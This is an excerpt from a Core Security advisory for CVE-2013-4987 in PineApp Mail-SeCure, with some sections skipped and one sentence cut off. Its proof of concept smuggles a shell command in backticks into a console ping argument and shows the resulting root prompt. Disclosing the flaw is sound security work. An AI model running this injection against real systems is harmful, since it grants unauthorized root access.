CVE Name: CVE-2013-4987  
  
  
3. *Vulnerability Description*  
  
A security vulnerability was discovered in PineApp [1] Mail-SeCure Suite  
[2], allowing a non-privileged attacker to get a root shell by sending a  
specially crafted command from the Mail-SeCure console. A valid user

Core Security.  
This report was coordinated by Fernando Miranda from Core Advisories Team.  
  
  
7. *Technical Description / Proof of Concept Code*  
  
Open a Mail-SeCure console as 'pinapp' user and execute the following  
command:  
  
/-----  
pa_cli> system ping `/bin/sh>/dev/tty`  
-----/  
  
As a result, you should be the super-user:  
  
/-----  
sh-3.00# id  
uid=0(root) gid=0(root) groups=0(root)
